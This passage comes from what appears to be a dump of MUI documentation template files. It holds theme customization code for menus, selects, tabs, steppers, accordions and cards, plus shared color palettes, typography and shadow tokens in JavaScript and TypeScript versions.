},\n        }),\n      }),\n    },\n  },\n  MuiStepConnector: {\n    styleOverrides: {\n      line: ({ theme }) => ({\n        borderTop: '1px solid',\n        borderColor: (theme.vars || theme).palette.divider,\n        flex: 1,\n        borderRadius: '99px',\n      }),\n    },\n  },\n  MuiStepIcon: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        color: 'transparent',\n        border: `1px solid ${gray[400]}`,\n        width: 12,\n        height: 12,\n        borderRadius: '50%',\n        '& text': {\n          display: 'none',\n        },\n        '&.Mui-active': {\n          border: 'none',\n          color: (theme.vars || theme).palette.primary.main,\n        },\n        '&.Mui-completed': {\n          border: 'none',\n          color: (theme.vars || theme).palette.success.main,\n        },\n        ...theme.applyStyles('dark', {\n          border: `1px solid ${gray[700]}`,\n          '&.Mui-active': {\n            border: 'none',\n            color: (theme.vars || theme).palette.primary.light,\n          },\n          '&.Mui-completed': {\n            border: 'none',\n            color: (theme.vars || theme).palette.success.light,\n          },\n        }),\n        variants: [\n          {\n            props: { completed: true },\n            style: {\n              width: 12,\n              height: 12,\n            },\n          },\n        ],\n      }),\n    },\n  },\n  MuiStepLabel: {\n    styleOverrides: {\n      label: ({ theme }) => ({\n        '&.Mui-completed': {\n          opacity: 0.6,\n          ...theme.applyStyles('dark', { opacity: 0.5 }),\n        },\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/navigation.tsx",
    "content": "import * as React from 'react';\nimport { Theme, alpha, Components } from '@mui/material/styles';\nimport { SvgIconProps } from '@mui/material/SvgIcon';\nimport { buttonBaseClasses } from '@mui/material/ButtonBase';\nimport { dividerClasses } from '@mui/material/Divider';\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { selectClasses } from '@mui/material/Select';\nimport { tabClasses } from '@mui/material/Tab';\nimport UnfoldMoreRoundedIcon from '@mui/icons-material/UnfoldMoreRounded';\nimport { gray, brand } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const navigationCustomizations: Components<Theme> = {\n  MuiMenuItem: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        padding: '6px 8px',\n        [`&.${menuItemClasses.focusVisible}`]: {\n          backgroundColor: 'transparent',\n        },\n        [`&.${menuItemClasses.selected}`]: {\n          [`&.${menuItemClasses.focusVisible}`]: {\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n          },\n        },\n      }),\n    },\n  },\n  MuiMenu: {\n    styleOverrides: {\n      list: {\n        gap: '0px',\n        [`&.${dividerClasses.root}`]: {\n          margin: '0 -8px',\n        },\n      },\n      paper: ({ theme }) => ({\n        marginTop: '4px',\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        backgroundImage: 'none',\n        background: 'hsl(0, 0%, 100%)',\n        boxShadow:\n          'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px',\n        [`& .${buttonBaseClasses.root}`]: {\n          '&.Mui-selected': {\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n          },\n        },\n        ...theme.applyStyles('dark', {\n          background: gray[900],\n          boxShadow:\n            'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px',\n        }),\n      }),\n    },\n  },\n  MuiSelect: {\n    defaultProps: {\n      IconComponent: React.forwardRef<SVGSVGElement, SvgIconProps>((props, ref) => (\n        <UnfoldMoreRoundedIcon fontSize=\"small\" {...props} ref={ref} />\n      )),\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: '1px solid',\n        borderColor: gray[200],\n        backgroundColor: (theme.vars || theme).palette.background.paper,\n        boxShadow: `inset 0 1px 0 1px hsla(220, 0%, 100%, 0.6), inset 0 -1px 0 1px hsla(220, 35%, 90%, 0.5)`,\n        '&:hover': {\n          borderColor: gray[300],\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n          boxShadow: 'none',\n        },\n        [`&.${selectClasses.focused}`]: {\n          outlineOffset: 0,\n          borderColor: gray[400],\n        },\n        '&:before, &:after': {\n          display: 'none',\n        },\n\n        ...theme.applyStyles('dark', {\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n          borderColor: gray[700],\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n          boxShadow: `inset 0 1px 0 1px ${alpha(gray[700], 0.15)}, inset 0 -1px 0 1px hsla(220, 0%, 0%, 0.7)`,\n          '&:hover': {\n            borderColor: alpha(gray[700], 0.7),\n            backgroundColor: (theme.vars || theme).palette.background.paper,\n            boxShadow: 'none',\n          },\n          [`&.${selectClasses.focused}`]: {\n            outlineOffset: 0,\n            borderColor: gray[900],\n          },\n          '&:before, &:after': {\n            display: 'none',\n          },\n        }),\n      }),\n      select: ({ theme }) => ({\n        display: 'flex',\n        alignItems: 'center',\n        ...theme.applyStyles('dark', {\n          display: 'flex',\n          alignItems: 'center',\n          '&:focus-visible': {\n            backgroundColor: gray[900],\n          },\n        }),\n      }),\n    },\n  },\n  MuiLink: {\n    defaultProps: {\n      underline: 'none',\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        color: (theme.vars || theme).palette.text.primary,\n        fontWeight: 500,\n        position: 'relative',\n        textDecoration: 'none',\n        width: 'fit-content',\n        '&::before': {\n          content: '\"\"',\n          position: 'absolute',\n          width: '100%',\n          height: '1px',\n          bottom: 0,\n          left: 0,\n          backgroundColor: (theme.vars || theme).palette.text.secondary,\n          opacity: 0.3,\n          transition: 'width 0.3s ease, opacity 0.3s ease',\n        },\n        '&:hover::before': {\n          width: 0,\n        },\n        '&:focus-visible': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '4px',\n          borderRadius: '2px',\n        },\n      }),\n    },\n  },\n  MuiDrawer: {\n    styleOverrides: {\n      paper: ({ theme }) => ({\n        backgroundColor: (theme.vars || theme).palette.background.default,\n      }),\n    },\n  },\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        '&.Mui-selected': {\n          color: 'white',\n          backgroundColor: (theme.vars || theme).palette.grey[900],\n        },\n        ...theme.applyStyles('dark', {\n          '&.Mui-selected': {\n            color: 'black',\n            backgroundColor: (theme.vars || theme).palette.grey[50],\n          },\n        }),\n      }),\n    },\n  },\n  MuiTabs: {\n    styleOverrides: {\n      root: { minHeight: 'fit-content' },\n      indicator: ({ theme }) => ({\n        backgroundColor: (theme.vars || theme).palette.grey[800],\n        ...theme.applyStyles('dark', {\n          backgroundColor: (theme.vars || theme).palette.grey[200],\n        }),\n      }),\n    },\n  },\n  MuiTab: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        padding: '6px 8px',\n        marginBottom: '8px',\n        textTransform: 'none',\n        minWidth: 'fit-content',\n        minHeight: 'fit-content',\n        color: (theme.vars || theme).palette.text.secondary,\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: '1px solid',\n        borderColor: 'transparent',\n        ':hover': {\n          color: (theme.vars || theme).palette.text.primary,\n          backgroundColor: gray[100],\n          borderColor: gray[200],\n        },\n        [`&.${tabClasses.selected}`]: {\n          color: gray[900],\n        },\n        ...theme.applyStyles('dark', {\n          ':hover': {\n            color: (theme.vars || theme).palette.text.primary,\n            backgroundColor: gray[800],\n            borderColor: gray[700],\n          },\n          [`&.${tabClasses.selected}`]: {\n            color: '#fff',\n          },\n        }),\n      }),\n    },\n  },\n  MuiStepConnector: {\n    styleOverrides: {\n      line: ({ theme }) => ({\n        borderTop: '1px solid',\n        borderColor: (theme.vars || theme).palette.divider,\n        flex: 1,\n        borderRadius: '99px',\n      }),\n    },\n  },\n  MuiStepIcon: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        color: 'transparent',\n        border: `1px solid ${gray[400]}`,\n        width: 12,\n        height: 12,\n        borderRadius: '50%',\n        '& text': {\n          display: 'none',\n        },\n        '&.Mui-active': {\n          border: 'none',\n          color: (theme.vars || theme).palette.primary.main,\n        },\n        '&.Mui-completed': {\n          border: 'none',\n          color: (theme.vars || theme).palette.success.main,\n        },\n        ...theme.applyStyles('dark', {\n          border: `1px solid ${gray[700]}`,\n          '&.Mui-active': {\n            border: 'none',\n            color: (theme.vars || theme).palette.primary.light,\n          },\n          '&.Mui-completed': {\n            border: 'none',\n            color: (theme.vars || theme).palette.success.light,\n          },\n        }),\n        variants: [\n          {\n            props: { completed: true },\n            style: {\n              width: 12,\n              height: 12,\n            },\n          },\n        ],\n      }),\n    },\n  },\n  MuiStepLabel: {\n    styleOverrides: {\n      label: ({ theme }) => ({\n        '&.Mui-completed': {\n          opacity: 0.6,\n          ...theme.applyStyles('dark', { opacity: 0.5 }),\n        },\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/surfaces.js",
    "content": "import { alpha } from '@mui/material/styles';\nimport { gray } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const surfacesCustomizations = {\n  MuiAccordion: {\n    defaultProps: {\n      elevation: 0,\n      disableGutters: true,\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        padding: 4,\n        overflow: 'clip',\n        backgroundColor: (theme.vars || theme).palette.background.default,\n        border: '1px solid',\n        borderColor: (theme.vars || theme).palette.divider,\n        ':before': {\n          backgroundColor: 'transparent',\n        },\n        '&:not(:last-of-type)': {\n          borderBottom: 'none',\n        },\n        '&:first-of-type': {\n          borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n          borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:last-of-type': {\n          borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n          borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n      }),\n    },\n  },\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        border: 'none',\n        borderRadius: 8,\n        '&:hover': { backgroundColor: gray[50] },\n        '&:focus-visible': { backgroundColor: 'transparent' },\n        ...theme.applyStyles('dark', {\n          '&:hover': { backgroundColor: gray[800] },\n        }),\n      }),\n    },\n  },\n  MuiAccordionDetails: {\n    styleOverrides: {\n      root: { mb: 20, border: 'none' },\n    },\n  },\n  MuiPaper: {\n    defaultProps: {\n      elevation: 0,\n    },\n  },\n  MuiCard: {\n    styleOverrides: {\n      root: ({ theme }) => {\n        return {\n          padding: 16,\n          gap: 16,\n          transition: 'all 100ms ease',\n          backgroundColor: gray[50],\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n          border: `1px solid ${(theme.vars || theme).palette.divider}`,\n          boxShadow: 'none',\n          ...theme.applyStyles('dark', {\n            backgroundColor: gray[800],\n          }),\n          variants: [\n            {\n              props: {\n                variant: 'outlined',\n              },\n              style: {\n                border: `1px solid ${(theme.vars || theme).palette.divider}`,\n                boxShadow: 'none',\n                background: 'hsl(0, 0%, 100%)',\n                ...theme.applyStyles('dark', {\n                  background: alpha(gray[900], 0.4),\n                }),\n              },\n            },\n          ],\n        };\n      },\n    },\n  },\n  MuiCardContent: {\n    styleOverrides: {\n      root: {\n        padding: 0,\n        '&:last-child': { paddingBottom: 0 },\n      },\n    },\n  },\n  MuiCardHeader: {\n    styleOverrides: {\n      root: {\n        padding: 0,\n      },\n    },\n  },\n  MuiCardActions: {\n    styleOverrides: {\n      root: {\n        padding: 0,\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/surfaces.ts",
    "content": "import { alpha, Theme, Components } from '@mui/material/styles';\nimport { gray } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const surfacesCustomizations: Components<Theme> = {\n  MuiAccordion: {\n    defaultProps: {\n      elevation: 0,\n      disableGutters: true,\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        padding: 4,\n        overflow: 'clip',\n        backgroundColor: (theme.vars || theme).palette.background.default,\n        border: '1px solid',\n        borderColor: (theme.vars || theme).palette.divider,\n        ':before': {\n          backgroundColor: 'transparent',\n        },\n        '&:not(:last-of-type)': {\n          borderBottom: 'none',\n        },\n        '&:first-of-type': {\n          borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n          borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:last-of-type': {\n          borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n          borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n      }),\n    },\n  },\n  MuiAccordionSummary: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        border: 'none',\n        borderRadius: 8,\n        '&:hover': { backgroundColor: gray[50] },\n        '&:focus-visible': { backgroundColor: 'transparent' },\n        ...theme.applyStyles('dark', {\n          '&:hover': { backgroundColor: gray[800] },\n        }),\n      }),\n    },\n  },\n  MuiAccordionDetails: {\n    styleOverrides: {\n      root: { mb: 20, border: 'none' },\n    },\n  },\n  MuiPaper: {\n    defaultProps: {\n      elevation: 0,\n    },\n  },\n  MuiCard: {\n    styleOverrides: {\n      root: ({ theme }) => {\n        return {\n          padding: 16,\n          gap: 16,\n          transition: 'all 100ms ease',\n          backgroundColor: gray[50],\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n          border: `1px solid ${(theme.vars || theme).palette.divider}`,\n          boxShadow: 'none',\n          ...theme.applyStyles('dark', {\n            backgroundColor: gray[800],\n          }),\n          variants: [\n            {\n              props: {\n                variant: 'outlined',\n              },\n              style: {\n                border: `1px solid ${(theme.vars || theme).palette.divider}`,\n                boxShadow: 'none',\n                background: 'hsl(0, 0%, 100%)',\n                ...theme.applyStyles('dark', {\n                  background: alpha(gray[900], 0.4),\n                }),\n              },\n            },\n          ],\n        };\n      },\n    },\n  },\n  MuiCardContent: {\n    styleOverrides: {\n      root: {\n        padding: 0,\n        '&:last-child': { paddingBottom: 0 },\n      },\n    },\n  },\n  MuiCardHeader: {\n    styleOverrides: {\n      root: {\n        padding: 0,\n      },\n    },\n  },\n  MuiCardActions: {\n    styleOverrides: {\n      root: {\n        padding: 0,\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/themePrimitives.js",
    "content": "import { createTheme, alpha } from '@mui/material/styles';\n\nconst defaultTheme = createTheme();\n\nconst customShadows = [...defaultTheme.shadows];\n\nexport const brand = {\n  50: 'hsl(210, 100%, 95%)',\n  100: 'hsl(210, 100%, 92%)',\n  200: 'hsl(210, 100%, 80%)',\n  300: 'hsl(210, 100%, 65%)',\n  400: 'hsl(210, 98%, 48%)',\n  500: 'hsl(210, 98%, 42%)',\n  600: 'hsl(210, 98%, 55%)',\n  700: 'hsl(210, 100%, 35%)',\n  800: 'hsl(210, 100%, 16%)',\n  900: 'hsl(210, 100%, 21%)',\n};\n\nexport const gray = {\n  50: 'hsl(220, 35%, 97%)',\n  100: 'hsl(220, 30%, 94%)',\n  200: 'hsl(220, 20%, 88%)',\n  300: 'hsl(220, 20%, 80%)',\n  400: 'hsl(220, 20%, 65%)',\n  500: 'hsl(220, 20%, 42%)',\n  600: 'hsl(220, 20%, 35%)',\n  700: 'hsl(220, 20%, 25%)',\n  800: 'hsl(220, 30%, 6%)',\n  900: 'hsl(220, 35%, 3%)',\n};\n\nexport const green = {\n  50: 'hsl(120, 80%, 98%)',\n  100: 'hsl(120, 75%, 94%)',\n  200: 'hsl(120, 75%, 87%)',\n  300: 'hsl(120, 61%, 77%)',\n  400: 'hsl(120, 44%, 53%)',\n  500: 'hsl(120, 59%, 30%)',\n  600: 'hsl(120, 70%, 25%)',\n  700: 'hsl(120, 75%, 16%)',\n  800: 'hsl(120, 84%, 10%)',\n  900: 'hsl(120, 87%, 6%)',\n};\n\nexport const orange = {\n  50: 'hsl(45, 100%, 97%)',\n  100: 'hsl(45, 92%, 90%)',\n  200: 'hsl(45, 94%, 80%)',\n  300: 'hsl(45, 90%, 65%)',\n  400: 'hsl(45, 90%, 40%)',\n  500: 'hsl(45, 90%, 35%)',\n  600: 'hsl(45, 91%, 25%)',\n  700: 'hsl(45, 94%, 20%)',\n  800: 'hsl(45, 95%, 16%)',\n  900: 'hsl(45, 93%, 12%)',\n};\n\nexport const red = {\n  50: 'hsl(0, 100%, 97%)',\n  100: 'hsl(0, 92%, 90%)',\n  200: 'hsl(0, 94%, 80%)',\n  300: 'hsl(0, 90%, 65%)',\n  400: 'hsl(0, 90%, 40%)',\n  500: 'hsl(0, 90%, 30%)',\n  600: 'hsl(0, 91%, 25%)',\n  700: 'hsl(0, 94%, 18%)',\n  800: 'hsl(0, 95%, 12%)',\n  900: 'hsl(0, 93%, 6%)',\n};\n\nexport const getDesignTokens = (mode) => {\n  customShadows[1] =\n    mode === 'dark'\n      ? 'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px'\n      : 'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px';\n\n  return {\n    palette: {\n      mode,\n      primary: {\n        light: brand[200],\n        main: brand[400],\n        dark: brand[700],\n        contrastText: brand[50],\n        ...(mode === 'dark' && {\n          contrastText: brand[50],\n          light: brand[300],\n          main: brand[400],\n          dark: brand[700],\n        }),\n      },\n      info: {\n        light: brand[100],\n        main: brand[300],\n        dark: brand[600],\n        contrastText: gray[50],\n        ...(mode === 'dark' && {\n          contrastText: brand[300],\n          light: brand[500],\n          main: brand[700],\n          dark: brand[900],\n        }),\n      },\n      warning: {\n        light: orange[300],\n        main: orange[400],\n        dark: orange[800],\n        ...(mode === 'dark' && {\n          light: orange[400],\n          main: orange[500],\n          dark: orange[700],\n        }),\n      },\n      error: {\n        light: red[300],\n        main: red[400],\n        dark: red[800],\n        ...(mode === 'dark' && {\n          light: red[400],\n          main: red[500],\n          dark: red[700],\n        }),\n      },\n      success: {\n        light: green[300],\n        main: green[400],\n        dark: green[800],\n        ...(mode === 'dark' && {\n          light: green[400],\n          main: green[500],\n          dark: green[700],\n        }),\n      },\n      grey: {\n        ...gray,\n      },\n      divider: mode === 'dark' ? alpha(gray[700], 0.6) : alpha(gray[300], 0.4),\n      background: {\n        default: 'hsl(0, 0%, 99%)',\n        paper: 'hsl(220, 35%, 97%)',\n        ...(mode === 'dark' && { default: gray[900], paper: 'hsl(220, 30%, 7%)' }),\n      },\n      text: {\n        primary: gray[800],\n        secondary: gray[600],\n        warning: orange[400],\n        ...(mode === 'dark' && {\n          primary: 'hsl(0, 0%, 100%)',\n          secondary: gray[400],\n        }),\n      },\n      action: {\n        hover: alpha(gray[200], 0.2),\n        selected: `${alpha(gray[200], 0.3)}`,\n        ...(mode === 'dark' && {\n          hover: alpha(gray[600], 0.2),\n          selected: alpha(gray[600], 0.3),\n        }),\n      },\n    },\n    typography: {\n      fontFamily: 'Inter, sans-serif',\n      h1: {\n        fontSize: defaultTheme.typography.pxToRem(48),\n        fontWeight: 600,\n        lineHeight: 1.2,\n        letterSpacing: -0.5,\n      },\n      h2: {\n        fontSize: defaultTheme.typography.pxToRem(36),\n        fontWeight: 600,\n        lineHeight: 1.2,\n      },\n      h3: {\n        fontSize: defaultTheme.typography.pxToRem(30),\n        lineHeight: 1.2,\n      },\n      h4: {\n        fontSize: defaultTheme.typography.pxToRem(24),\n        fontWeight: 600,\n        lineHeight: 1.5,\n      },\n      h5: {\n        fontSize: defaultTheme.typography.pxToRem(20),\n        fontWeight: 600,\n      },\n      h6: {\n        fontSize: defaultTheme.typography.pxToRem(18),\n        fontWeight: 600,\n      },\n      subtitle1: {\n        fontSize: defaultTheme.typography.pxToRem(18),\n      },\n      subtitle2: {\n        fontSize: defaultTheme.typography.pxToRem(14),\n        fontWeight: 500,\n      },\n      body1: {\n        fontSize: defaultTheme.typography.pxToRem(14),\n      },\n      body2: {\n        fontSize: defaultTheme.typography.pxToRem(14),\n        fontWeight: 400,\n      },\n      caption: {\n        fontSize: defaultTheme.typography.pxToRem(12),\n        fontWeight: 400,\n      },\n    },\n    shape: {\n      borderRadius: 8,\n    },\n    shadows: customShadows,\n  };\n};\n\nexport const colorSchemes = {\n  light: {\n    palette: {\n      primary: {\n        light: brand[200],\n        main: brand[400],\n        dark: brand[700],\n        contrastText: brand[50],\n      },\n      info: {\n        light: brand[100],\n        main: brand[300],\n        dark: brand[600],\n        contrastText: gray[50],\n      },\n      warning: {\n        light: orange[300],\n        main: orange[400],\n        dark: orange[800],\n      },\n      error: {\n        light: red[300],\n        main: red[400],\n        dark: red[800],\n      },\n      success: {\n        light: green[300],\n        main: green[400],\n        dark: green[800],\n      },\n      grey: {\n        ...gray,\n      },\n      divider: alpha(gray[300], 0.4),\n      background: {\n        default: 'hsl(0, 0%, 99%)',\n        paper: 'hsl(220, 35%, 97%)',\n      },\n      text: {\n        primary: gray[800],\n        secondary: gray[600],\n        warning: orange[400],\n      },\n      action: {\n        hover: alpha(gray[200], 0.2),\n        selected: `${alpha(gray[200], 0.3)}`,\n      },\n      baseShadow:\n        'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px',\n    },\n  },\n  dark: {\n    palette: {\n      primary: {\n        contrastText: brand[50],\n        light: brand[300],\n        main: brand[400],\n        dark: brand[700],\n      },\n      info: {\n        contrastText: brand[300],\n        light: brand[500],\n        main: brand[700],\n        dark: brand[900],\n      },\n      warning: {\n        light: orange[400],\n        main: orange[500],\n        dark: orange[700],\n      },\n      error: {\n        light: red[400],\n        main: red[500],\n        dark: red[700],\n      },\n      success: {\n        light: green[400],\n        main: green[500],\n        dark: green[700],\n      },\n      grey: {\n        ...gray,\n      },\n      divider: alpha(gray[700], 0.6),\n      background: {\n        default: gray[900],\n        paper: 'hsl(220, 30%, 7%)',\n      },\n      text: {\n        primary: 'hsl(0, 0%, 100%)',\n        secondary: gray[400],\n      },\n      action: {\n        hover: alpha(gray[600], 0.2),\n        selected: alpha(gray[600], 0.3),\n      },\n      baseShadow:\n        'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px',\n    },\n  },\n};\n\nexport const typography = {\n  fontFamily: 'Inter, sans-serif',\n  h1: {\n    fontSize: defaultTheme.typography.pxToRem(48),\n    fontWeight: 600,\n    lineHeight: 1.2,\n    letterSpacing: -0.5,\n  },\n  h2: {\n    fontSize: defaultTheme.typography.pxToRem(36),\n    fontWeight: 600,\n    lineHeight: 1.2,\n  },\n  h3: {\n    fontSize: defaultTheme.typography.pxToRem(30),\n    lineHeight: 1.2,\n  },\n  h4: {\n    fontSize: defaultTheme.typography.pxToRem(24),\n    fontWeight: 600,\n    lineHeight: 1.5,\n  },\n  h5: {\n    fontSize: defaultTheme.typography.pxToRem(20),\n    fontWeight: 600,\n  },\n  h6: {\n    fontSize: defaultTheme.typography.pxToRem(18),\n    fontWeight: 600,\n  },\n  subtitle1: {\n    fontSize: defaultTheme.typography.pxToRem(18),\n  },\n  subtitle2: {\n    fontSize: defaultTheme.typography.pxToRem(14),\n    fontWeight: 500,\n  },\n  body1: {\n    fontSize: defaultTheme.typography.pxToRem(14),\n  },\n  body2: {\n    fontSize: defaultTheme.typography.pxToRem(14),\n    fontWeight: 400,\n  },\n  caption: {\n    fontSize: defaultTheme.typography.pxToRem(12),\n    fontWeight: 400,\n  },\n};\n\nexport const shape = {\n  borderRadius: 8,\n};\n\nconst defaultShadows = [\n  'none',\n  'var(--template-palette-baseShadow)',\n  ...defaultTheme.shadows.slice(2),\n];\n\nexport const shadows = defaultShadows;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/themePrimitives.ts",
    "content": "import { createTheme, alpha, PaletteMode, Shadows } from '@mui/material/styles';\n\ndeclare module '@mui/material/Paper' {\n  interface PaperPropsVariantOverrides {\n    highlighted: true;\n  }\n}\ndeclare module '@mui/material/styles' {\n  interface ColorRange {\n    50: string;\n    100: string;\n    200: string;\n    300: string;\n    400: string;\n    500: string;\n    600: string;\n    700: string;\n    800: string;\n    900: string;\n  }\n\n  interface PaletteColor extends ColorRange {}\n\n  interface Palette {\n    baseShadow: string;\n  }\n}\n\nconst defaultTheme = createTheme();\n\nconst customShadows: Shadows = [...defaultTheme.shadows];\n\nexport const brand = {\n  50: 'hsl(210, 100%, 95%)',\n  100: 'hsl(210, 100%, 92%)',\n  200: 'hsl(210, 100%, 80%)',\n  300: 'hsl(210, 100%, 65%)',\n  400: 'hsl(210, 98%, 48%)',\n  500: 'hsl(210, 98%, 42%)',\n  600: 'hsl(210, 98%, 55%)',\n  700: 'hsl(210, 100%, 35%)',\n  800: 'hsl(210, 100%, 16%)',\n  900: 'hsl(210, 100%, 21%)',\n};\n\nexport const gray = {\n  50: 'hsl(220, 35%, 97%)',\n  100: 'hsl(220, 30%, 94%)',\n  200: 'hsl(220, 20%, 88%)',\n  300: 'hsl(220, 20%, 80%)',\n  400: 'hsl(220, 20%, 65%)',\n  500: 'hsl(220, 20%, 42%)',\n  600: 'hsl(220, 20%, 35%)',\n  700: 'hsl(220, 20%, 25%)',\n  800: 'hsl(220, 30%, 6%)',\n  900: 'hsl(220, 35%, 3%)',\n};\n\nexport const green = {\n  50: 'hsl(120, 80%, 98%)',\n  100: 'hsl(120, 75%, 94%)',\n  200: 'hsl(120, 75%, 87%)',\n  300: 'hsl(120, 61%, 77%)',\n  400: 'hsl(120, 44%, 53%)',\n  500: 'hsl(120, 59%, 30%)',\n  600: 'hsl(120, 70%, 25%)',\n  700: 'hsl(120, 75%, 16%)',\n  800: 'hsl(120, 84%, 10%)',\n  900: 'hsl(120, 87%, 6%)',\n};\n\nexport const orange = {\n  50: 'hsl(45, 100%, 97%)',\n  100: 'hsl(45, 92%, 90%)',\n  200: 'hsl(45, 94%, 80%)',\n  300: 'hsl(45, 90%, 65%)',\n  400: 'hsl(45, 90%, 40%)',\n  500: 'hsl(45, 90%, 35%)',\n  600: 'hsl(45, 91%, 25%)',\n  700: 'hsl(45, 94%, 20%)',\n  800: 'hsl(45, 95%, 16%)',\n  900: 'hsl(45, 93%, 12%)',\n};\n\nexport const red = {\n  50: 'hsl(0, 100%, 97%)',\n  100: 'hsl(0, 92%, 90%)',\n  200: 'hsl(0, 94%, 80%)',\n  300: 'hsl(0, 90%, 65%)',\n  400: 'hsl(0, 90%, 40%)',\n  500: 'hsl(0, 90%, 30%)',\n  600: 'hsl(0, 91%, 25%)',\n  700: 'hsl(0, 94%, 18%)',\n  800: 'hsl(0, 95%, 12%)',\n  900: 'hsl(0, 93%, 6%)',\n};\n\nexport const getDesignTokens = (mode: PaletteMode) => {\n  customShadows[1] =\n    mode === 'dark'\n      ? 'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px'\n      : 'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px';\n\n  return {\n    palette: {\n      mode,\n      primary: {\n        light: brand[200],\n        main: brand[400],\n        dark: brand[700],\n        contrastText: brand[50],\n        ...(mode === 'dark' && {\n          contrastText: brand[50],\n          light: brand[300],\n          main: brand[400],\n          dark: brand[700],\n        }),\n      },\n      info: {\n        light: brand[100],\n        main: brand[300],\n        dark: brand[600],\n        contrastText: gray[50],\n        ...(mode === 'dark' && {\n          contrastText: brand[300],\n          light: brand[500],\n          main: brand[700],\n          dark: brand[900],\n        }),\n      },\n      warning: {\n        light: orange[300],\n        main: orange[400],\n        dark: orange[800],\n        ...(mode === 'dark' && {\n          light: orange[400],\n          main: orange[500],\n          dark: orange[700],\n        }),\n      },\n      error: {\n        light: red[300],\n        main: red[400],\n        dark: red[800],\n        ...(mode === 'dark' && {\n          light: red[400],\n          main: red[500],\n          dark: red[700],\n        }),\n      },\n      success: {\n        light: green[300],\n        main: green[400],\n        dark: green[800],\n        ...(mode === 'dark' && {\n          light: green[400],\n          main: green[500],\n          dark: green[700],\n        }),\n      },\n      grey: {\n        ...gray,\n      },\n      divider: mode === 'dark' ? alpha(gray[700], 0.6) : alpha(gray[300], 0.4),\n      background: {\n        default: 'hsl(0, 0%, 99%)',\n        paper: 'hsl(220, 35%, 97%)',\n        ...(mode === 'dark' && { default: gray[900], paper: 'hsl(220, 30%, 7%)' }),\n      },\n      text: {\n        primary: gray[800],\n        secondary: gray[600],\n        warning: orange[400],\n        ...(mode === 'dark' && { primary: 'hsl(0, 0%, 100%)', secondary: gray[400] }),\n      },\n      action: {\n        hover: alpha(gray[200], 0.2),\n        selected: `${alpha(gray[200], 0.3)}`,\n        ...(mode === 'dark' && {\n          hover: alpha(gray[600], 0.2),\n          selected: alpha(gray[600], 0.3),\n        }),\n      },\n    },\n    typography: {\n      fontFamily: 'Inter, sans-serif',\n      h1: {\n        fontSize: defaultTheme.typography.pxToRem(48),\n        fontWeight: 600,\n        lineHeight: 1.2,\n        letterSpacing: -0.5,\n      },\n      h2: {\n        fontSize: defaultTheme.typography.pxToRem(36),\n        fontWeight: 600,\n        lineHeight: 1.2,\n      },\n      h3: {\n        fontSize: defaultTheme.typography.pxToRem(30),\n        lineHeight: 1.2,\n      },\n      h4: {\n        fontSize: defaultTheme.typography.pxToRem(24),\n        fontWeight: 600,\n        lineHeight: 1.5,\n      },\n      h5: {\n        fontSize: defaultTheme.typography.pxToRem(20),\n        fontWeight: 600,\n      },\n      h6: {\n        fontSize: defaultTheme.typography.pxToRem(18),\n        fontWeight: 600,\n      },\n      subtitle1: {\n        fontSize: defaultTheme.typography.pxToRem(18),\n      },\n      